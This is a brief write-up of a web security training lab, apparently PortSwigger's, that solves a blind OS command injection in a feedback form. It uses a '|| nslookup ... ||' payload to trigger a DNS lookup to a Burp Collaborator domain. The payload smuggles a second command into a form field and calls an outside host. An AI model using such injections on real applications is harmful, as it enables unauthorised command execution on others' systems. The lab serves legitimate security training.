

---

## Blind OS command injection with out-of-band interaction

---

1. This lab contains a blind OS command injection vulnerability in the feedback function.
2. The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.
3. This lab is the same as the previous lab but to solve this lab we need to trigger the output (DNS lookup) to external domain. So, we need to use burpsuite collaborator.
4. All that has changed is payload. First, I go to burp collaborator and copy my burp collaborator subdomain, Then the payload is:

```
|| nslookup cxd5ag2fbpn964fa93spk6ygr7xylq9f.oastify.com ||
```

Then send this request and go to collaborator tab and click on **pull now**. And here we go attack done successfully.



Blind OS command injection with out-of-band interaction

[Back to lab description >>](#)

LAB Solved

Congratulations, you solved the lab!

Share your skills! [Continue learning >>](#)

[Home](#) | [Submit feedback](#)